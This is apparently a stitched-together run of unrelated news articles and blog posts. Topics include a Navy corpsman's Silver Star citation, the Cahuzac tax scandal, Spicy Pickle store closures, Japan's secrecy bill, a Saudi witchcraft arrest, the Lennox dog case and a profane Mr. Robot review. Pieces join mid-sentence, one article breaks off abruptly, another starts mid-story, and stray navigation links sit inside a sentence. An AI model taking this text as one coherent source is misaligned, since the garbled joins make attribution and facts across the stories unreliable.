Kong was serving with Company B, 1st Battalion, 5th Marine Regiment in Kotozay village that day. They were a few hours into a four-day clearing operation, patrolling with the assault element through a maze of mud-walled housing compounds, when Cpl. Michael Dawers fell to the ground.
Rounds were striking all around the wounded Marine. Kong shot back but the onslaught was relentless.
“As he observed enemy fire dangerously approaching the wounded Marine, Hospital Corpsman 3rd Class Kong courageously rushed from his covered position (and) boldly charged into the kill zone dodging a hail of bullets,” his citation says.
“I just ran out,” Kong recalled after the ceremony.
“When a Marine gets hit, you don’t really think. … You get so close you’re family,” so you have to help, he said.
Kong was serving his second tour to Afghanistan, having deployed with a scout sniper platoon in 2009. He was experienced in providing medical care under fire. Usually the fear didn’t set in until after the shooting stopped, he said, when you had time to consider the worst.
This time was different. About half-way to the casualty, Kong got scared. “It’s been a good ride. I’m probably going to die right now,” he remembered thinking.
But he didn’t turn back or freeze.
Petty Officer 2nd Class Jonathan Kong (right) and a squadmate from 1st Battalion, 5th Marine Regiment, Marshall Kotchasak. (USMC/released.) Petty Officer 2nd Class Jonathan Kong (right) and a squadmate from 1st Battalion, 5th Marine Regiment, Marshall Kotchasak. (USMC/released.)
“You’re fine, you’re fine,” Kong said when he reached the wounded Marine. Dawers was writhing in pain. The bullet had nicked the top off his chest plate and shattered his sternum.
Kong tried to drag the Marine and his heavy rucksack out of the mud. When that didn’t work he hunkered down and kept shooting until Dawers got his pack unfastened. Then Kong stood and pulled the wounded Marine 50 feet to cover.
“Doc, you just saved my life,” Dawers said when Kong rolled him on his back to treat his wounds.
Maj. Gen. Lawrence Nicholson, commanding general of the 1st Marine Division and its 25,000-strong ground combat element, pinned the medal on Kong’s grey suit lapel.
“There’s not a Marine or sailor here that can say they haven’t been scared under fire. But it’s what you do with that fear. It’s how you control that fear. It’s how you channel it, and how you react to it. That’s what separates guys like Doc Kong from the rest of us,” Nicholson said.
“On that June morning, Doc Kong reacted instinctively … (He) saw that Marine laying there in great anguish and Doc Kong decided at that point that he had to get to his Marine.
“It is humbling today for all of us to hear that citation, to know what you did in the face of enormous risk and peril to yourself,” the general said.
Dawers recovered from his wounds and rejoined the battalion. After finishing his service in the Corps, he settled in Sacramento.
Kong was meritoriously promoted to petty officer 2nd class during that combat tour in Sangin, which Nicholson described as probably the worst place a Marine could serve in 2011 -- a very hardscrabble, tough town that “has certainly left its mark on our Corps.”
He finished his six-year Navy enlistment in 2013 and enrolled in school with plans to become an emergency room surgeon.
Kong, 25, of Milpitas, studies at De Anza Community College and finished an intensive summer course in chemistry at Stanford University.
In combat, Marines always asked: “Hey Doc, how do you stay so calm?” Kong didn’t feel calm treating Marines under fire. His mind was racing, but his hands were steady.
Applying those skills as a civilian surgeon, “I think that’s something I can do,” Kong said.
Nicholson said those patients will be lucky to “be attended to by such a noble, and incredibly talented, and dedicated young sailor.”
“By his zealous initiative, courageous actions, and exceptional dedication to duty, Hospital Corpsman 3rd Class Kong reflected great credit upon himself and upheld the highest traditions of the Marine Corps and the United States Naval Service,” his citation says.
Kong has also been awarded the Navy Good Conduct Medal, Combat Action Ribbon and the Navy and Marine Corps Achievement Medal.France’s former budget minister Jérôme Cahuzac, who resigned after he was found to be hiding money in an undeclared Swiss bank account, will not seek re-election to his former parliamentary seat, French daily Dépêche du Midi reported Sunday.
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France's disgraced former budget minister, forced out of office over a tax fraud scandal, will not seek re-election to his former parliamentary seat, a newspaper reported Sunday.
Jerome Cahuzac, who last month bowed to pressure and also resigned from parliament, told the regional daily Depeche du Midi he made the decision because he feared a violent hate campaign against him and incessant media harassment would make it impossible to get his message across to voters.
Any money left over from the sums he tried to hide abroad -- after paying what he owes the state -- will go to local charities, he added.
That money has already been transferred back from abroad to France and was at the disposition of the authorities.
"I will pay my debt. And I will give what remains, if there is any, to charitable works," Cahuzac added.
For months, Cahuzac -- who as budget minister was responsible for cracking down on tax fraud -- had denied reports by the Mediapart news website that he had stashed money abroad to avoid paying taxes.
He only admitted the wrongdoing when prosecutors opened a formal investigation after experts said the voice on an incriminating tape produced by Mediapart was probably that of the minister.
In a primetime television interview last month, he said the sums involved in the scandal amounted to some 600,000 euros ($770,000).
The scandal shook French President Francois Hollande's already beleaguered Socialist government, denting the image he had wanted to promote of an administration free of corruption.
Cahuzac now faces being charged for tax fraud.
The by-election for his seat, in the southwestern department of Lot-et-Garonne, will take place in June.
(AFP)Six of seven company-owned Spicy Pickle sandwich shops in Colorado closed abruptly Feb. 6 after the company defaulted on roughly $4.76 million in loans, according to SEC documents. Seven Spicy Pickle restaurants remain open in Colorado.
Assets of the seven closed stores — furnishings, fixtures and equipment — will be put up for auction at 10 a.m. Feb. 21 at the offices of Davis Graham & Stubbs in Denver so that the lenders can recover some of their losses from the defaulted loans.
Spicy Pickle said in its most recent quarterly filing that, as of Sept. 30, it operated 22 franchised and seven company-owned restaurants in nine states. Two locations, in Mississippi and Arizona, later closed. It listed 14 Colorado restaurants at that time.
The company also had 11 franchised and one company-owned BG Urban Café restaurants in Canada.
No one could be reached at the Denver Spicy Pickle headquarters at 90 Madison St. Monday morning. Its web site lists seven Colorado stores, which were all open and operating as of Monday. They are in Aurora, Boulder, Denver, Fort Collins, Greenwood Village and Lone Tree.
The stock price for the publicly traded company was listed as less than a penny per share on Monday.
When business partners Kevin Morrison and Tony Walker opened the first Pickle in August 1999 at 988 Lincoln St., they served gourmet sandwiches to lines that snaked out the door.
“When we opened on day one, our goal was to stay open till 9 p.m. We closed at 4 because we were out of bread,” Morrison said. “The line was out the door and it didn’t go away, it was crazy.”
The partners, who met in the kitchen of Barolo Grill, wanted to create quality sandwiches that were higher priced than the chain sub shops, but were made with top-notch ingredients such as Boar’s Head meats and cheeses, locally made bread and unusual spreads.
The company expanded to additional stores in 2001 with one on Colorado Boulevard in Denver and another in Lakewood. Marc Geman, an attorney who had successfully grown a mall-based pretzel stand company which he sold to Mrs. Fields, joined the Pickle to start franchising.
“We thought (Geman) would be able to duplicate that (pretzel stand) success with the Spicy Pickle,” Morrison said. As the company grew, Morrison said he was increasingly butting heads with Geman over the direction the Spicy Pickle was going.
The company went public in 2007, and Morrison stayed on as director of culinary and baking. Presley Reed became head of the board of directors, which soured Morrison’s relationship to the Pickle. Reed, along with his wife Patricia, are two of the company’s lenders, along with Raymond and Joan BonAnno who are all listed as lenders who are selling the assets.
Morrison parted company with Spicy Pickle nearly three years ago. He opened Pinche Tacos, a full service Mexican restaurant at 1514 York St. last year, as well as a mobile taco truck.
“I would rather grow on a smaller scale with people I completely love working with than grow some big monster and not enjoy it,” said Morrison, who said he lost track of Walker, his Spicy Pickle partner. “We have that philosophy with Pinche Tacos.”
Penny Parker: 303-954-5224 or pparker@denverpost.comWhen you are in the game of believing utterly crazy things, and then start to impose this delusion on others, you will find truly outrageous things happening. The news, as reported in the Guardian today, is …
Saudi Arabian authorities may order execution of woman after man reported her for casting a spell on his daughter
So the story here is that some bloke is out shopping with his 13 year old daughter, when suddenly, “she started acting in an abnormal way“. Since there happened to be a lady from Sri Lanka nearby his immediate xenophobic conclusion was … “Witchcraft”, so he reports her and the religious authorities believed his daft claim.
Seriously!!
In most other nations on the planet, even the Muslim ones, a parent complaining about his 13 year old kid behaving oddly would have the concept of puberty explained to him. If he then insisted it was “Witchcraft”, he would be considered to be a nut.
“He reported her to the security forces, asking for her arrest and the specialised units dealt with the situation swiftly and succeeded in arresting her,” Okaz reported. Saudi Arabia is an absolute monarchy that has no written criminal code and where court rulings are based on judges’ interpretation of Islamic sharia law. “The punishment is always beheading for anyone found guilty of witchcraft,” a Saudi lawyer and human rights activist, Waleed Abu al-Khair, told Reuters.
So in essence, some innocent lady is out shopping when suddenly a bunch of religious thugs turn up and arrest her for being a witch, and she now faces death. They is utterly outrageous … if you are as offended as I am, then please publicise this … shout about it, blog about it, complain to the Saudi embassy about it, press your local government representative to move for sanctions against this utterly corrupt and totally insane Saudi regime. You might feel that such attempts would be futile because the need for oil means many turn a blind eye to such atrocities, but throwing a very public spotlight on this creates pressure on the Saudi’s to not go ahead with her execution.
Would they really execute her for “witchcraft”? Yep, and they have done it before, a couple of months ago. What makes all this even more insane is that sorcery is not a capital offence in Saudia, yet because some clerics declare it to be a threat to Islam andpress for an execution it happens.
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Like this: Like Loading...IN THE build-up to Britain’s election campaign period it seemed the Conservatives were destined to be the stronger of the two main parties in the “air war”, what with their more popular leader, their more experienced front-bench, their clearer messages, their stronger rebuttal operation, their better-disciplined campaign and their oodles of cash. It also seemed clear that Labour would win the “ground war”.
Yet three weeks into the the campaign, many are reaching the conclusion that the Tory “air war” advantage is smaller than had been expected. Some of David Cameron’s public appearances have been lacklustre or irritable, while Ed Miliband has outperformed rock-bottom expectations of him (“Where did the weird guy go?” asks Carl Dinnen of ITV News). In the Sunday Times today Peter Kellner, a pollster not known for sugar-coating his advice to Labour, writes: “voters are warming to the idea of an Ed Miliband-led government” and “the Tories are currently losing both the air war and the ground war.” He lists various worrying details for the Conservatives: “many more people told us they had noticed something negative about the Tories than anything positive”, “the Tories have failed to persuade voters that theirs is the party for ‘hard-working families’” and—perhaps most troublingly, as they regarded the Labour leader as their secret weapon—“Miliband’s personal rating has climbed to his best level for more than two years”.
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Far from the media scrums and the television cameras, however, another, less-discussed story is emerging that is making Labour types just as chipper. Just as the Tory strength in the air war is surprisingly lacking, Labour’s advantage on the ground is proving greater than expected. The Conservatives have put significant efforts into bolstering their local campaigns: parachuting in American-style organisers, sending hundreds of young activists out to marginals (an operation known in the party as the “shag bus”), and generally trying to make doorstep campaigning more fun. There were good reasons to believe this would work: Grant Shapps, the party chairman, has an excellent reputation as a ground campaigner in his Welwyn Garden City seat, and pulled off a strong win in the Newark by-election last year, when he pioneered techniques that he is now deploying nationally.
Yet poll after poll shows that they are insufficient. Lord Ashcroft’s surveys of Labour-Tory marginals paint a picture of overwhelming Labour supremacy on the ground. In every single one of ten seats in the latest batch (see Lord Ashcroft’s chart, below), more voters had received contact—be it a leaflet, a phone call or a canvassing visit—from Labour than from the Conservatives. In some the gap was huge: 34% to 60% in Finchley and Golders Green, for example, and 43% to 74% in Milton Keynes South. The same was true of the previous ten marginals polled by the peer. Overall, in these twenty constituencies, the Tories had contacted 53% of voters; Labour had contacted 68%. That finding is echoed by Mr Kellner today, who writes: “YouGov research finds that up to Friday, Labour had contacted more voters locally than the Tories, in person, by phone, via leaflets and by email.”
Even Labour insiders are surprised at the size of the gap. A regularly updated chart on the wall of the party’s headquarters at Brewer’s Green, near Victoria station in London, monitors the rate at which activists out in the country are making contacts (crucial not just to winning over voters but also to the get-out-the-vote operation on election day). This is how it currently looks (the spikes are weekends, when the most intense campaigning takes place):
The dotted green line on the chart shows the target for cumulative contacts, the solid green one the actual number. The latter is about to hit the 3m mark (corresponding to about 8m knocked-on doors) over a week ahead of schedule. Labour is now routinely making more than 75,000 contacts per day.
Why the advantage? The difference in size, age and tribalism of the two parties undoubtedly plays a part. The Conservative Party has about 150,000 members. The average one is about 68. Just 17% of members are aged between 18 and 39. Constituency associations are relatively independent from the central party. Labour has about 200,000 members. It is markedly younger (estimates of average age put it around 50) and has a more unified structure.
Other explanations concern strategy and process. Labour’s campaigning infrastructure has been overhauled over the past five years in a way that the Conservative one has not. Under Iain McNicol, the party’s general secretary, it has been drastically decentralised: the central office in London has been slimmed down and the number of staff posted to the regions has risen from around 100 to 300. The party has invested in online fundraising; which brought in £140,000 in the 2010 campaign but has already garnered over £2m in the current race. It selected candidates and hired organisers earlier than in the past, giving them time to gradually build up local campaigns.
Mr McNicol also brought over Arnie Graf, an American campaigner who devised the methods behind Barack Obama’s movement-like presidential campaign in 2008, to train activists. Mr Graf’s “community organising” approach involves building election-fighting capacity in advance by running campaigns on local issues, from low pay to litter in the streets. Notably, one of the local Labour parties that has most enthusiastically embraced it, Southampton Itchen, has one of the best showings in Lord Ashcroft’s poll in March, turning a neck-and-neck projection last August into an eight-point lead over the Conservative candidate—who, according to the poll, had contacted four voters for every five reached by Labour.
All this should worry Conservatives. Their so-so national campaign can be pepped up. Mr Cameron’s appearance on the Marr show this morning was stronger than some of his previous outings; fierily defensive of his pledges to boost child care and give social housing tenants a hand up. The Tories have further counter-intuitive interventions planned for the coming week, and the prime minister is said to be preparing furiously for the final televised “debate”, a special edition of Question Time on April 30th. Yet at this late stage there is little they can do about their local campaigning weaknesses. Recruiting new members and building election-fighting capacity takes months and years, not days and weeks. If the Conservatives end up out of power after the election (a far-from-certain prospect, albeit one that looks more possible than three weeks ago), they will need to rebuild from the ground up.Southwest Airlines came in at #8 on the list. Southwest Airlines Do you love your job? Do you hate it? Why? There are countless factors that go into determining whether an employer is a good fit for you, and your own preferences and inclinations are the strongest indicators of whether you'll sink or swim.
But we'd be deeply remiss if we didn't point out that the employer also strongly influences the equation: how its treat its employees, how prominent it is in its respective industry, whether the CEO takes everyone out for pizza once a week.
These factors, like salary and work-life balance, can all be charted, and 24/7 Wall St. considered all of them while drafting this list of America's best companies to work for. These are the places where workers are happy to be working, and, if the statistics are to be believed, you would be, too. Interested? Here are the top 10 — then head over to 24/7 Wall St. for the full list of 75.
Reuters/Robert Galbraith 1. LinkedIn
Glassdoor rating: 4.5
CEO rating: 97% (Jeff Weiner)
Employees: 5,045
Revenue: $1.5 billion
According to the company: "Founded in 2003, LinkedIn connects the world's professionals to make them more productive and successful. With over 300 million members worldwide…LinkedIn is the world's largest professional network on the Internet."
LinkedIn is the nation's best company to work for, based on ratings awarded by current and former employees at Glassdoor.com. Of course, high pay doesn't hurt employee morale. According to Glassdoor.com, the average software engineer reported an annual salary of $127,817, while the average senior software engineer reported an annual salary of $145,192. Like other technology companies, LinkedIn has excellent perks and good, free food, but employees at the company also rave about good work-life balance and a confident, inspired leadership. In fact, 97% of reviewers have a high opinion of CEO Jeff Weiner, higher than all but a few other CEOs. However, LinkedIn is also proof no employer is perfect — the company recently agreed to pay $6 million to hundreds of employees for unpaid overtime, plus damages.
Facebook CEO Mark Zuckerberg. REUTERS/Robert Galbraith 2. Facebook
Glassdoor rating: 4.5
CEO rating: 96% (Mark Zuckerberg)
Employees: 6,337
Revenue: $7.9 billion
According to the company: "Facebook's mission is to give people the power to share and make the world more open and connected. People use Facebook to stay connected with friends and family, to discover what's going on in the world, and to share and express what matters to them."
Facebook is a rapidly growing and highly profitable company. It is also increasingly successful at reaching users on their mobile phones. The company's success has not only captivated investors — Facebook's market capitalization is currently $189 billion — but also potential employees. In fact, technology giant Google was so worried about employees leaving for Facebook that it began to provide a counter offer to employees recruited by Facebook within one hour, The Wall Street Journal recently reported. Strong benefits and perks are just one of the repeatedly mentioned advantages of working at Facebook, according to Glassdoor.com. A relatively flat hierarchy and a fast-paced workday are other characteristics of the company that employees enjoy.
3. Eastman Chemical
Glassdoor rating: 4.5
CEO rating: 91% (Jeffrey J. Clarke)
Employees: 14,000
Revenue: $9.4 billion
According to the company: "Eastman is a global specialty chemical company that produces a broad range of products found in items people use every day."
Specialty chemicals maker Eastman receives rave reviews from employees. Workers at Eastman frequently cite work-life balance, helpful colleagues and strong teamwork, as well as a good corporate culture in their reviews. Workers also praise the company's dedication to workplace safety. According to the company, safety forms one of Eastman's core values. The company publicly tracks and discloses its own safety track record, as well as its internal goals for workplace safety. The small town nature of Kingsport, Tennessee, where Eastman is headquartered, is among the few complaints occasionally mentioned in Glassdoor.com reviews.
4. Insight Global
Glassdoor rating: 4.4
CEO rating: 94% (Glenn Johnson)
Employees: N/A
Revenue: $918 million
According to the company: "Through a nationwide network of 37 regional offices, Insight Global provides clients exceptional IT technicians and consultants to meet the demanding technology challenges of today."
Insight Global is an IT staffing firm, filling over 20,000 positions a year, according to the company. Workers who were assigned jobs through the company rave about its staffing practices, noting that Insight Global's recruiters are polite and exceptionally helpful. Many reviewers on Glassdoor.com also note that they were placed very quickly. In one such review a worker notes, "I literally got a job in under 24 hours!" Insight Global says it is on track to exceed $1 billion in annual revenue by the end of 2014.
5. Bain & Company
Glassdoor rating: 4.4
CEO rating: 99% (Bob Bechek)
Employees: 5,500
Revenue: $2.1 billion“A PARADISE for spies” is how a former agent of the Soviet KGB described Japan in the 1980s. Little has changed, though now the politicians and bureaucrats more often pass information to journalists than to foreign agents. But this autumn Shinzo Abe, the prime minister, is trying to stop the leaks by passing a forceful new secrecy law, even as he seeks to pass economic reforms as part of his programme of measures known as “Abenomics”. He also wants to legislate for a new national security council in order to centralise intelligence information and speed decisions on national security. New rules on secrecy are needed for it to function well, says the government. The media, fearful for press freedom, are crying foul.
Japan is much less punitive than other countries towards leakers. Civil servants who breach rules on confidentiality are currently liable to just one year in prison. Only officials of Japan’s Self Defence Forces face the possibility of stricter punishment: five years for leaking defence secrets, or ten if they are gleaned from Japan’s security pact with America.
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The gap widened after the events of September 11th 2001, when security elsewhere became tighter. This year America used its Espionage Act of 1917 to hand down a 35-year prison sentence to Bradley Manning, a former soldier, for passing information to the WikiLeaks website. Previous Japanese governments have tried to clamp down, but memories of the feared wartime secrecy regime have caused moves to tighten the law to be blocked.
Japan’s allies, especially America, complain that information entrusted to it is too often leaked, says Nobutaka Machimura, a former foreign minister who heads the ruling Liberal Democratic Party’s task-force on the law. If passed, the bill would apply to all civil servants and to high-ranking politicians. “Special secrets” would be designated in three new fields of diplomacy, counter-espionage and counter-terrorism (in addition to defence). The penalty for leaks—also applied to those who encourage breaches, such as journalists—would be up to ten years in prison. Further details are scant, but the bill reportedly lacks important provisions, including independent review of what can be called secret, and a clear limit on the period of confidentiality.
That means the government could keep far more information under the veil than is necessary, says Kiyoshi Gojima, deputy managing director of Sankei Shimbun, a newspaper. The public would have less access to information than before, to some degree reversing a campaign in recent years for greater government transparency.
In the field of diplomacy, for instance, the contents and outcome of summit meetings could be kept firmly secret. Last month, Norika Fujiwara, a television celebrity, warned that information relating to radiation from the meltdown at the Fukushima Dai-ichi nuclear plant in 2011 could be ruled off limits by the new law. An adviser to Mr Abe denied this would happen.
Another risk is that public officials will stop talking to journalists entirely, says Mr Gojima. That would be a big shift from the current system of privileged press clubs, in which reporters have special channels to sources in the government and bureaucracy who pass on inside information. The current system needs reform, says Koichi Nakano of Sophia University, but there is no need to jump to the other extreme.
The final bill is expected to state the public’s right to know, and to include a commitment to press freedom. The LDP’s coalition partner, New Komeito, will insist on such amendments. But public opinion seems to be firmly against the law, so Mr Abe may face resistance, even though his government has a majority in both houses of parliament. One unwelcome outcome would be if the bill diverts government attention from economic reforms.In January of 2016, the home of a prominent atheist professor in Jerusalem was vandalized. The apparent hate crime was committed, it seemed, by a religious zealot who wanted to stop him from destroying the faith of the Israeli people.
Professor Yaakov Malkin is a leader of Tmura, the Israeli affiliate of the International Institute for Humanistic Secular Judaism. He’s been a secular activist for the past 50 years, and an organizational leader for the past 20. His group trains Secular Humanistic rabbis to serve the many, many Jewish people who don’t identify primarily as religious.
Malkin’s home was defaced with Bible-verse graffiti, a knife, and a threatening note:
A Star of David and the phrases “Psalms 139: 21-24” and “Destruction of Amalek” were scrawled on the fence surrounding his home. A knife and an envelope containing a threatening letter were also found at the scene, reading “a Jew whose hands are bloody resides in your street. This Jew received a severe warning.” The letter to Malkin said, among other things, that “this is a warning for you to immediately end all atheist and heretic activity that you take part in or lead. You must absolutely and immediately stop your actions to dismiss and incite the people of Israel from their God.” “Should you continue your actions following this warning, know that you are yourself choosing to forsake your fate and future. Do not cross the line. This isn’t a futile warning, it is completely and absolutely serious, treat it as one. You will not receive another warning,” it said. The letter was signed, “your brother who brings to you the word of God your creator and king, the father still waiting for your return to him.”
The people of Amalek are considered enemies of Israel in the Bible.
The threatening note also included a reference to Exodus 16:14, though that appeared to be a mistake:
The reference from Exodus seems to be a mistake, as the corresponding passage describes the manna given by God to feed the Israelites during their travels in the desert. The graffiti is most likely referring to the same verse in chapter 17, which expounds on the edict to destroy the Amalekites.
The vandal couldn’t even get his Bible references right…
That vandal didn’t just go after Malkin. The same person appears to have been committing crimes against other atheists and non-Orthodox Jews over the past three years.
But now it may be over.
The Times of Israel reports that an arrest was finally made this week:
A 39-year-old Israeli man from the center of the country was arrested on Tuesday on suspicion of vandalizing a Reform synagogue in Ra’anana and leaving threatening notes outside the Jerusalem home of a prominent Israeli ethicist and atheist. … The suspect was arrested outside his home in central Israel on Tuesday morning. His residence, along with his mother’s home, were subject to a police search.
There are no more details about the arrest available, but let’s hope this puts an end to the crimes. No one deserves to live in fear because he dares hold an unpopular opinion.
(Large portions of this article were published earlier)First Nations near Cold Lake, Alta., are angry an oilsands company is draining a lake close to their home without consulting them.
Canadian Natural Resources Ltd is emptying two-thirds of the lake in an effort to stop a bitumen leak from its oil production plant.
Cecil Janvier. a member of the Cold Lake First Nation, says draining the lake isn't acceptable. (CBC)
Cecil Janvier, a member of the Cold Lake First Nation, says he has never supported oilsands production.
"It shouldn't have gotten this far," he said. "It's just common sense that something was bound to happen."
More than 1.5 million litres of bitumen — a mixture of oil sands, heavy crude and water — has leaked on CNRL's Cold Lake Site. So much, so fast, Alberta Environment ordered CNRL to drain the lake near Janvier's home immediately.
Trevor Gemmell, with Alberta Environment, says it was an emergency, and because it was an order, no consultation with the First Nation was required.
"Most pipeline spills are over in a matter of days, but this has been going on for a while," he said. "And the temporary measures that are in place right now that are containing the release, they won't be effective during the winter months."
But Janvier says draining the lake isn't acceptable.
"Now what? What does CNRL get? A slap on the wrist? What about us? What about my heritage? What about my traditions? My culture? Am I just chopped liver?"
Alberta Environment says CNRL is aiming to refill the lake by next summer.ROME (Reuters) - Generating economic growth in the Middle East is crucial to defeating extremism, Iranian President Hassan Rouhani said on Tuesday, putting forward his country as a regional trade hub and pillar of stability.
Iran President Hassan Rouhani talks during a business forum in Rome, Italy, January 26, 2016. REUTERS/Alessandro Bianchi
Rouhani is on a four-day trip to Italy and France, looking to rebuild Iranian relations with the West some two weeks after financial sanctions on Tehran were rolled back following the implementation of its nuclear deal with world powers.
Italy announced some 17 billion euros ($18.4 billion) of business deals with Iran on Monday. Mega contracts are also in the offing in France, reflecting EU countries’ keenness to cash in on the diplomatic thaw with the Islamic Republic.
Underscoring the growing warmth, Rouhani said he expected Italian Prime Minister Matteo Renzi to visit Iran in the coming months to help boost bilateral economic alliances.
“We are ready to welcome investment, welcome technology and create a new export market,” Rouhani told a business forum on the second day of his visit to Rome, saying Iran had ambitions to develop its own economy after years of curbs and hardship.
“Under the new conditions, we want to export 30 percent of what we produce in Iran,” he said, calling for rapid investment in “the most secure and stable country in the region”.
Later, during a 40-minute private meeting in Pope Francis’s private study, the pontiff asked Rouhani to work with other Middle East states to promote peace and stop the spread of terrorism and arms trafficking in the region.
Italy rolled out the red carpet to Rouhani and his 120-member delegation of business leaders and cabinet ministers, seeing Shi’ite Muslim Iran as a possible partner in the international coalition against Sunni Muslim Islamic State insurgents.
“If we want to combat extremism in the world, if we want to fight terror, one of the roads before us is providing growth and jobs. Lack of growth creates forces for terrorism. Unemployment creates soldiers for terrorists,” Rouhani said.
“STRATEGIC ALLIANCE” EYED
Many Western nations accuse Iran of funding various militant groups that are on U.S. and EU terror blacklists. Despite Iran’s deal with world powers to curb its disputed nuclear program, the United States is keeping some of its financial sanctions in place because of its links to organizations such as Hezbollah.
Sunni arch-rival Saudi Arabia - alarmed and angry over Iran’s coming in from the diplomatic cold, especially its newly pragmatic contacts with the United States - sought to deflate hopes that Tehran would be a bonanza for foreign investors.
“They all have these bright euro or dollar signs in their eyes about Iranian business opportunities, but whoever is going to do business in Iran will have to do it with their money and not Iranian money,” Prince Turki al-Faisal, earlier the Saudi intelligence head and ambassador to Washington, said on Tuesday.
But any such criticism barely registered in Rome, where the economy continues to struggle after a three-year slump and where the government is eager to welcome Iran as a potentially positive force in an increasingly fragmented Middle East.
“We are not looking at simple reactivation of our cooperation with Iran, but rather a comprehensive relaunch of a strategic alliance,” Italian Foreign Minister Paolo Gentiloni told the business conference.
To spare the leader of the Islamic Republic possible offense, the Italians even covered nude Roman statues in the Capitoline Museums where Rouhani met and spoke with Renzi on Monday evening.
Iran President Hassan Rouhani talks during a business forum in Rome, Italy, January 26, 2016. REUTERS/Alessandro Bianchi
Among the deals signed on Monday were a $4 billion contract for oil services group Saipem (SPMI.MI), up to 5.7 billion euros in contracts for steel firm Danieli (DANI.MI), up to 4 billion euros of business for infrastructure firm Condotte d’Acqua, 4 billion euros for rail and road company Gavio and 400 million euros for planes from Finmeccanica SIFI.MI.
Industry Minister Federica Guidi told la Repubblica newspaper that the total value of the contracts could exceed the 17 billion euros initially indicated by the government.
Two large Italian business delegations went to Tehran soon after the nuclear deal was inked last year. Another such group is scheduled to visit Iran from Feb. 8 to 10.Dozens of people were injured on Thursday in the Palestinian-dominated West Bank in protests after President Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE announced the U.S. would recognize Jerusalem as the capital of Israel, CNN reported.
Palestinian protesters used slingshots and threw rocks during the demonstrations, according to the network, and Israeli forces responded with tear gas and rubber bullets.
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The unrest comes one day after Trump announced the U.S. would not only recognize Jerusalem as the Israeli capital but said the U.S. Embassy would be relocated from Tel Aviv to the holy city.
The State Department, on Tuesday, |
The case provoked outrage from dog-lovers across the globe. Barnes' "Save Lennox" campaign went viral, attracting the support of celebrities, lawmakers and almost 200,000 people in an online petition. Vigils and protests were held by animal rights activists on both sides of the Atlantic, including demonstrations outside the British and Irish consulates in New York, to plead for Lennox's life.
"Animal rights groups have even staged protests in New York about this. We did everything possible to save Lennox but they still wouldn't listen," said Barnes.
However, the struggle -- which involved several court hearings -- ended when the council confirmed the 7-year-old dog had been "humanely put to sleep."
JUST WATCHED Lennox the dog put to sleep Replay More Videos... MUST WATCH Lennox the dog put to sleep 01:01
"This was in accordance with the Order of the County Court which was affirmed by the Northern Ireland Court of Appeal," said a statement issued by the council Wednesday.
The statement added that the council's expert "described the dog as one of the most unpredictable and dangerous dogs he had come across... The council regrets that the court action was necessary but would emphasize that the safety of the public remains its key priority."
Northern Ireland's First Minister Peter Robinson turned to social media in a doomed, last-minute attempt at intervention.
"As a dog lover I am very unhappy with the outcome of this case," he tweeted. "Spoke to Lord Mayor about Lennox. Suggested BCC (Belfast City Council) should seriously look at re-homing option. Why exercise the order if there's an alternative?"
The council was so determined to kill Lennox, Barnes said, that "they wouldn't even listen to the man responsible for running the country."
Celebrity trainer Victoria Stilwell of Animal Planet's program "It's Me or the Dog" traveled to Belfast to make her own personal appeal for clemency, describing Lennox as "an historically unaggressive American bulldog-labrador mix."
"Victoria was willing to take Lennox under her care in the United States at no expense to the council but they even turned that down as well," Barnes said.
Lawyers for Barnes argued that the dog had never bitten anyone and had behaved well since being impounded, but in June, Northern Ireland's top court rejected a bid from Barnes to overturn the decision of two lower courts condemning Lennox to death.
A 28-day deadline for legal appeals expired at midnight Tuesday. The dog was put to sleep at a secret location, the council said.
Barnes said all legal options had been exhausted and the "heartbroken" family finally had to admit defeat.
"We are devastated and disgusted by the way we have been treated by Belfast City Council. They wouldn't even let us say goodbye to Lennox."
In its statement Wednesday, the council claimed that some staff members had been threatened because of the Lennox case.
"Over the past two years, council officials have been subjected to a sustained campaign of abuse including threats of violence and death threats," said the statement.
The council added it was "in ongoing contact" with Northern Ireland police regarding the alleged incidents.HOLY SHIT!!!!!
Click for Season 2 Trailer
Network: USA Network
Language: English
Awards: Golden Globe Award for Best Television Series – Drama, More
INTRODUCTION
This is by far one of the greatest show I’ve encountered since Breaking Bad. The other was the Fargo series. But this one, Mr. Robot, is no fucking joke. Season 2 premiered on Wednesday night with the first two episodes of the season and shook the world to its core. This series destroys anything made by Hollywood. This series puts mainstream cinema to shame. Shut the fuck up Hollywood and study this show. This is cinema. This is filmmaking. These are well written characters. This is flawless dialogue. Impeccable cinematography. Brilliant directing. The golden age of television is stronger than ever.
NON-SPOILER REVIEW
Season 2 begins where Season 1 left off. A lot of shit is going on. Elliot is off the grid. He’s living with his mom. Mr. Robot still appears to him. Constantly tormenting him. Tyrell is missing. Tyrell’s wife has a new boy toy who provides her with rough sex and then asks if it was too much. The premiere consisted of the first two episodes of season 2 and really took things to a whole new level. Gideon is asking Elliot for help because he’s being looked at as a serious suspect. In the last season, FSociety did it. They brought the world’s economy to it’s knees and now in this season will be exploring it’s aftermath. If you are not caught up, go back and watch season 1 and if you are fully caught up, season 2 looks like it’s going to be an insane fucking ride.
Now there’s also a very interesting theory going on in internetland about this season but you’ll have to watch the premiere and read my spoiler filled review to know more.
SPOILER REVIEW
So I’m guessing if you’re reading this you’ve seen the season 2 premiere. And we are seeing the aftermath of what fsociety did in season 1. The banks are running around like chickens with theirs heads cut off. At first, you would think this is a good thing, which for the most part it is, but as we see in one scene, the banks are now saying, “sorry there’s no way for us to verify you’ve made those payments” … so you’re liable to pay them all back. And if there’s no record of your debt, great, but what if there’s no record of how much money you have in your bank account, do you lose all your money? This entire cyber revolution sounds great in theory but in reality, it could have it’s drawbacks.
In the first two episodes of season 2 we see Elliot living a different life than we have before. He’s living with his mom and living a very routine life. Mr. Robot still haunts him, tormenting him and fucking with his head. Elliot for the most part tries to ignore him as he constantly writes in his notebook to keep track of time and things he’s done. He has breakfast, lunch and dinner at the same time everyday with the same person, his friend Leon, who talks about nothing but Seinfeld.
Now, a lot of shit went on in this episode that I can talk about in length. Awesome hack that fsociety does on the home of that lady who works for E Corp. Fsociety making the CEO of E Corp burn a bunch of money in public. Gideon getting shot (more like assassinated) in a bar by a random stranger. Yeah, this is all great shit but what I want to talk about is Elliot. If you watched the episode, you might have noticed something was a little off. It’s hard to put your finger on what, but everything just seemed… off. Well, let’s get into why things seemed off because apparently there’s a theory floating around out there that puts everything into perspective. Before I get into it, I wholeheartedly agree with this theory but in a slightly different way.
